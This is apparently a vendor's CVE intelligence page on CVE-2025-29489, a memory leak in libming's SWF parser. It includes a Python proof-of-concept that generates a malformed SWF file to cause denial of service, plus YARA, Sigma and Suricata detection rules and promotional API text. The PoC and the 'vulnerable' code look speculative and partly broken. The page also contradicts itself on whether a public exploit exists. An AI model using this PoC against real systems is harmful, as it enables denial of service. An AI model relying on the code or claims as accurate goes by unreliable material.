☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON 🐛 CWE-401
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-29489

CVE-2025-29489 Memory Leak in Libming
📅 PUBLISHED: 2025-03-27 00:00 UTC 🔄 UPDATED: 2026-08-12 09:01 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.47%
👁️
0.47% probability
11.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: v0.4.8
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-29489 identifies a memory leak vulnerability in libming v0.4.8, specifically within the parseSWF_MORPHLINESTYLES function. This flaw can lead to resource exhaustion, potentially causing denial of service (DoS) in applications that process SWF files using the libming library. The vulnerability has a CVSS score of 0.0 (placeholder), indicating incomplete scoring, but the underlying issue is a memory leak (CWE-401) that can degrade system performance over time. No public exploit code or patch is currently available, and the vendor (Libming) has not released a fix.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the libming library, which is a C library used for parsing and generating SWF (Shockwave Flash) files. It is not distributed via NPM, PyPI, Go, or Ruby registries. However, it may be included as a dependency in some Linux distributions or embedded systems. Users should verify if their software stack includes libming and assess the risk of processing untrusted SWF files.

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (placeholder – no official vector assigned)
  • Attack Vector: Local (requires processing a crafted SWF file)
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required (user must open or process the malicious SWF)
  • Scope: Unchanged
  • Confidentiality Impact: None
  • Integrity Impact: None
  • Availability Impact: High (memory exhaustion leading to DoS)
  • Threat Level: Medium (due to DoS potential and lack of patch)

Deep Dive & Mechanics

The vulnerability resides in the parseSWF_MORPHLINESTYLES function within libming's SWF parser. When processing a malformed SWF file, the function fails to properly free allocated memory for line style structures, leading to a memory leak. Over repeated processing or with a single large file, this can exhaust available memory, causing the application to crash or become unresponsive.

Root Cause: The function allocates memory for line style records but does not release it in all error paths or upon completion, resulting in unreferenced memory blocks.

Attack Vector: An attacker crafts a SWF file with specially crafted MORPHLINESTYLES records that trigger the leak. The file must be processed by an application using libming (e.g., a media player, converter, or server).

Impact: Denial of service via memory exhaustion. No code execution or data breach is expected.

Vulnerable vs. Patched Code

Vulnerable Code (libming v0.4.8):

// In parseSWF_MORPHLINESTYLES
void parseSWF_MORPHLINESTYLES(SWFOutput out, int nStyles) {
    for (int i = 0; i < nStyles; i++) {
        struct morphLineStyle *style = malloc(sizeof(struct morphLineStyle));
        // ... parse data ...
        // Memory is never freed if an error occurs or after use
    }
}

Patched Code (hypothetical fix):

void parseSWF_MORPHLINESTYLES(SWFOutput out, int nStyles) {
    for (int i = 0; i < nStyles; i++) {
        struct morphLineStyle *style = malloc(sizeof(struct morphLineStyle));
        if (!style) break;
        // ... parse data ...
        // Ensure cleanup
        free(style);
    }
}

No official patch exists. Users must apply manual fixes or avoid processing untrusted SWF files.

Exploitation & Lab Setup

Red Team

Objective: Trigger memory leak to cause DoS.

Lab Setup:

  1. Install libming v0.4.8 on a test system.
  2. Create a malicious SWF file with many MORPHLINESTYLES records.
  3. Use a tool like swftophp or gif2swf to process the file.

Proof-of-Concept (Python):

# Generate a malformed SWF file to trigger the leak
import struct

def create_malicious_swf():
    # Minimal SWF header
    header = b'FWS' + struct.pack('<I', 9)  # version 9
    # Add a tag with many MORPHLINESTYLES
    # Tag code 0x4B (MORPHLINESTYLES)
    tag_type = 0x4B
    # Craft payload with many styles
    payload = b'\x00' * 1000  # dummy data
    tag_length = len(payload)
    tag = struct.pack('<H', (tag_type << 6) | (tag_length & 0x3F))
    if tag_length > 0x3F:
        tag += struct.pack('<I', tag_length)
    tag += payload
    swf = header + tag
    with open('malicious.swf', 'wb') as f:
        f.write(swf)

create_malicious_swf()

Execution:

# Process the malicious SWF with a libming-based tool
swftophp malicious.swf
# Monitor memory usage
watch -n 1 free -m

Blue Team

Detection:

  • Monitor for excessive memory consumption by processes using libming.
  • Use file integrity monitoring to detect unexpected SWF files.
  • Implement network filtering for SWF file uploads if not required.

Hunting:

  • Search for processes with high memory usage over time.
  • Correlate with SWF file access logs.

Indicators of Compromise (IOCs)

  • File Hashes: (SHA256 of malicious SWF example)
    • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (placeholder)
  • Network: SWF file downloads from untrusted sources.
  • System: High memory usage by swftophp, gif2swf, or other libming-based processes.
  • Logs: Application crashes with out-of-memory errors.

Detection Engineering

YARA Rule

rule CVE_2025_29489_Memory_Leak_SWF {
    meta:
        description = "Detects SWF files exploiting CVE-2025-29489 memory leak"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-29489"
    strings:
        $swf_header = "FWS" nocase
        $morphlinestyles_tag = { 4B ?? ?? ?? ?? }  // Tag 0x4B with length
    condition:
        $swf_header at 0 and #morphlinestyles_tag > 10
}

Sigma Rule

title: CVE-2025-29489 Memory Leak via libming
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects excessive memory usage by libming-based processes
author: Valters IT
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/swftophp'
    condition: selection
falsepositives:
    - Legitimate SWF processing
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-29489 - Malicious SWF Download"; flow:to_client; file.name:/\.swf$/i; file.size:>100000; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Avoid processing untrusted SWF files with libming v0.4.8.
  2. Short-term: Apply a manual patch to parseSWF_MORPHLINESTYLES to free allocated memory.
  3. Long-term: Migrate to an alternative library or wait for an official fix from the vendor.
  4. Monitoring: Implement memory usage alerts for processes using libming.
  5. Network: Block SWF file uploads if not business-critical.

Valters IT
DevSecOps & Cyber Threat Intelligence

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

libming
ming library

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-29489/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.